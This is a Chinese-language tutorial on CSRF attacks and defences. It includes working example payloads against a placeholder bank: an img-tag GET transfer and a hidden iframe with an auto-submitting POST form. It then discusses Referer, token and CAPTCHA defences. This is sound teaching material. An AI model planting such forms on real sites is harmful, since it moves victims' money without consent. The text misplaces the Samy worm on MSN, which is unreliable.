CSRF攻击与防御

什么是CSRF

​ 跨站请求伪造(Cross—Site Request Forgery),也被称为“OneClick Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。和XSS攻击一样,存在巨大的危害性。用户访问恶意网站B,恶意网站B返回给用户的HTTP信息中要求用户访问网站A,而由于用户和网站A之间可能已经有信任关系导致这个请求就像用户真实发送的一样会被执行。

​ 曾经在MSN上,一个美国的19岁的小伙子Samy利用css的background漏洞几小时内让100多万用户成功的感染了他的蠕虫,虽然这个蠕虫并没有破坏整个应用,只是在每一个用户的签名后面都增加了一句“Samy 是我的偶像”,但是一旦这些漏洞被恶意用户利用,后果将不堪设想,同样的事情也曾经发生在新浪微博上面。

<br/>

CSRF攻击流程

  1. 用户打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 网站A产生被认证的Cookie返回到客户端,登录A网站成功。
  3. 用户在同一浏览器打开了网站B。
  4. B发送给用户一些攻击性代码,代码中访问了网站A。
  5. 浏览器接收到代码后,根据代码在用户不知情的情况下携带Cookie访问了网站A。
  6. 网站A执行了相应代码,CSRF攻击完成。

<br/>

CSRF攻击实例

再理论的知识都是枯燥的,不如来点例子

实例1-GET

用户Tom有一部存款在银行。银行的转账接口是这样的

http://www.example.bank/transfer?from=转账用户&to=收款用户&amount=数额

那么Tom想转账给Bob,访问这个接口就可以直接转账。当然前提是from要是一个已经登陆的用户才行,否则不就乱了套了。黑客Clark知道银行的这个接口,所以他直接访问了

http://www.example.bank/transfer?from=Bob&to=Clark&amount=100

但是失败了,银行告诉他,他没有登录Bob的账号,而Clark也不知道Bob的账号的密码,所以他准备用csrf攻击来完成这笔转账。

Clark写了一个网页,包含这样一段代码,并诱使Bob打开这个页面。

<img src="http://www.example.bank/transfer?from=Bob&to=Clark&amount=100" />

Bob打开这个页面,恰好刚刚Bob访问了银行,有了银行授权的Cookie,浏览器就会带着Cookie访问这个img标签的src路径尝试获取这个图片,显然,图片是获取不到的,但是转账请求已经发送到银行了。

<br/>

实例2-POST

刚才提过的方法有一个致命的问题,他只能请求GET方法,如果需要POST等其他方法,这招就不能用了。恰恰敏感的操作大都是POST。再用上面那个银行转账的方法,现在银行的接口改为POST。

POST http://www.example.bank/transfer
    from   =转账用户
    to     =收款用户
    amount =数额

Clark知道了银行改变了接口,然后他又写了这样一组页面。

index.html

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="utf-8">
    <title>CSRF POST</title>
</head>
<body>
    <div>this is a page</div>
    <iframe src="./csrf.html" frameborder="0" hidden="hidden"></iframe>
</body>
</html>

csrf.html

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="utf-8">
    <title>CSRF</title>
</head>
<body>
    <form action="http://www.example.bank/transfer" id="fo" method="POST">
        <input type="text" name="from">
        <input type="text" name="to">
        <input type="text" name="amount">
    </form>
</body>
<script>
    var f=document.getElementById("fo");
    f.getElementsByTagName("input")[0].value="Bob";
    f.getElementsByTagName("input")[1].value="Clark";
    f.getElementsByTagName("input")[2].value="100";
    f.submit();
</script>
</html>

Bob打开了这个页面,像上次一样,他又被提交了。页面自动填充了转账信息,又自动提交了。银行接受到了第二个页面提交的POST信息,成功转账给Clark。对于Bob来说,只是打开了一个没什么内容的空页面罢了。

为什么会有这个漏洞?

事实上浏览器设计有一个同源策略。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以domain.com下的js脚本采用ajax读取example.com里面的文件数据是会被拒绝的。相同域名不同协议,比如一个是http一个是https,也是不同源。不同的端口也是不同源,不同的域名当然也是不同源的。注意IE的同源策略略有不同,IE源策略忽略了端口,不同的端口其他相同也是相同的源。

但是有一些标签,类似 script video 等标签,是基本不受这个同源策略的限制的。

<br/>

如何防御?

csrf攻击这么可怕,但是还是有办法防范的。

Referer头检测法

Referer标识当前请求的来源页面,浏览器访问时除了自动带上Cookie还会自动带上Referer,所以服务端可以检测Referer头是否本网站页面来决定是否响应请求。

Referer是浏览器自动带上的,基于认为浏览器没有相关漏洞的前提下,我们可以认为攻击者是没法伪造Referer头的,也就是检测Referer头的方法是可靠的。

但该方式有时会不受认可,因为浏览器是可以设置禁止发送Referer头的,如果使用该方式那么禁止Referer头的浏览将无法正常使用,这可能会降低用户使用体验。

token检测法

Token就是服务端返回给客户端一段随机的数字字母。在访问网页的时候,这个Token就返回给页面,而且这个Token并不存放在Cookie中,而是直接存放在页面上。在每次网页请求的时候,都加上这个Token,通过判断Token服务端就知道这个是来自那个页面的请求还是CSRF攻击。注意:CSRFToken仅仅用于对抗CSRF攻击。当网站同时存在XSS漏洞时候,那这个方案也是空谈。所以XSS带来的问题,应该使用XSS的防御方案予以解决。

验证码法

这招效果显而易见,但是问题就是不是所有的请求都用验证码,用户会很烦的。

<br/>

写在最后

CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用Token来防御CSRF攻击,同时要注意Token的保密性和随机性。